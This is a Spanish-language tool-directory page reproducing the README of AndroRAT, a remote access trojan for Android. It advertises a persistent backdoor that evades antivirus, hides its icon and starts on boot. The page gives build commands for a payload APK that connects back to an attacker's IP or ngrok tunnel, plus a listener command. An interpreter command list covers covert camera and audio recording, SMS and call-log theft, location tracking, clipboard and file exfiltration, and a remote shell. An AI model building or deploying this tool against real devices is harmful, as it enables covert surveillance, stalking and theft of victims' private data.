Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
AndroRAT — Una sencilla herramienta de administración remota para Android que utiliza sockets. Usa Java en el lado del cliente y Python en el lado del servidor | Kitploit
Herramientas/GitHubGitHub/karma9874/androrat
Seguridad AndroidGeneración de PayloadsMecanismos de PersistenciaPentesting de Apps MóvilesIngeniería InversaExfiltración de DatosPost-ExplotaciónComando y ControlRed TeamingTroyano de Acceso Remoto
GitHub
5.2k1.7k2hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
karma9874/androrat

AndroRAT

Una sencilla herramienta de administración remota para Android que utiliza sockets. Usa Java en el lado del cliente y Python en el lado del servidor

Ver Repositorio

Aviso legal: Este software está destinado únicamente a fines educativos. No me hago responsable de ningún uso malicioso de la aplicación.

AndroRAT

MIT License Twitter Follow GitHub followers

AndroRAT es una herramienta diseñada para dar el control del sistema Android de forma remota y recuperar información de él. Androrat es una aplicación cliente/servidor desarrollada en Java Android para el lado del cliente y el servidor está en Python.

AndroRAT funcionará en dispositivos desde Android 4.1 (Jelly Bean) hasta Android 9.0 (Oreo) (API 16 a API 28)

AndroRAT también funciona en Android 10 (Q), pero algunos de los comandos del intérprete serán inestables.

Capturas de pantalla

AndroRAT

Características de AndroRAT

  • Backdoor totalmente persistente
  • Totalmente indetectable por cualquier escáner antivirus VirusTotal
  • Icono invisible al instalar
  • Apk ligera que se ejecuta 24*7 en segundo plano
  • La aplicación se inicia automáticamente al arrancar
  • Puede grabar audio, video, tomar fotos desde ambas cámaras
  • Explorar registros de llamadas y registros de SMS
  • Obtener la ubicación actual, los detalles de la tarjeta SIM, la IP, la dirección MAC del dispositivo

Requisitos previos

AndroRAT requiere Python3 y JAVA (o Android Studio)

Instalación

git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt

Nota:

Al clonar el repositorio usando Git bash en Windows, es posible que obtengas el siguiente error:

error: unable to create file <filename>: Filename too long

Esto se debe a que Git tiene un límite de 4096 caracteres para un nombre de archivo, excepto en Windows cuando Git se compila con msys. Utiliza una versión más antigua de la API de Windows y hay un límite de 260 caracteres para un nombre de archivo.

Puedes evitar esto configurando core.longpaths en true.

git config --system core.longpaths true

Debes ejecutar Git bash con privilegios de administrador.

Uso (Windows y Linux)

  • Para obtener el panel de control de la aplicación marca *#*#1337#*#* (Por ahora solo tiene dos opciones Restart Activity y Uninstall)

Nota: Para usar esta función en algunos dispositivos necesitas habilitar la opción display pop-up windows running in background desde los ajustes.

Modos disponibles

  • --build - para compilar el apk de android
  • --ngrok - para usar el túnel de ngrok (a través de internet)
  • --shell - para obtener una shell interactiva del dispositivo

Modo build

Usage:
  python3 androRAT.py --build --ngrok [flags]
  Flags:
    -p, --port              Attacker port number (optional by default its set to 8000)
    -o, --output            Name for the apk file (optional by default its set to "karma.apk")
    -icon, --icon           Visible icon after installing apk (by default set to hidden)
Usage:
  python3 androRAT.py --build [flags]
  Flags:
    -i, --ip                Attacker IP address (required)
    -p, --port              Attacker port number (required)
    -o, --output            Name for the apk file (optional)
    -icon, --icon           Visible icon after installing apk (by default set to hidden)

O puedes compilar manualmente el apk importando la carpeta Android Code en Android Studio y cambiando la dirección IP y el número de puerto en el archivo config.java y luego puedes generar el apk firmado desde Android Studio -> Build -> Generate Signed APK(s)

Modo shell

Usage:
  python3 androRAT.py --shell [flags]
  Flags:
    -i, --ip                Listner IP address
    -p, --port              Listner port number

Después de ejecutar el modo shell obtendrás un intérprete del dispositivo

Comandos que pueden ejecutarse en el intérprete

    deviceInfo                 --> returns basic info of the device
    camList                    --> returns cameraID  
    takepic [cameraID]         --> Takes picture from camera
    startVideo [cameraID]      --> starts recording the video
    stopVideo                  --> stop recording the video and return the video file
    startAudio                 --> starts recording the audio
    stopAudio                  --> stop recording the audio
    getSMS [inbox|sent]        --> returns inbox sms or sent sms in a file 
    getCallLogs                --> returns call logs in a file
    shell                      --> starts a sh shell of the device
    vibrate [number_of_times]  --> vibrate the device number of time
    getLocation                --> return the current location of the device
    getIP                      --> returns the ip of the device
    getSimDetails              --> returns the details of all sim of the device
    clear                      --> clears the screen
    getClipData                --> return the current saved text from the clipboard
    getMACAddress              --> returns the mac address of the device
    exit                       --> exit the interpreter

En el shell sh hay algunos subcomandos

    get [full_file_path]        --> donwloads the file to the local machine (file size upto 15mb)
    put [filename]              --> uploads the file to the android device

Ejemplos

  • Para compilar el apk usando ngrok, lo que también configurará el listener: python3 androRAT.py --build --ngrok -o evil.apk

  • To build the apk using desired ip and port: python3 androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk

  • Para obtener el intérprete: python3 androRAT.py --shell -i 0.0.0.0 -p 8000

Interpreter Examples

  • Generating APK

------------------------------------------------------------------------------------------------------------------------------
  • Some interpreter Commands

------------------------------------------------------------------------------------------------------------------------------

Supporters:

rayep

TODO

  • Ngrok support
  • Set up multi client
  • Add screenshot command

License

AndroRAT is licensed under MIT license take a look at the LICENSE for more information.

Descargar herramienta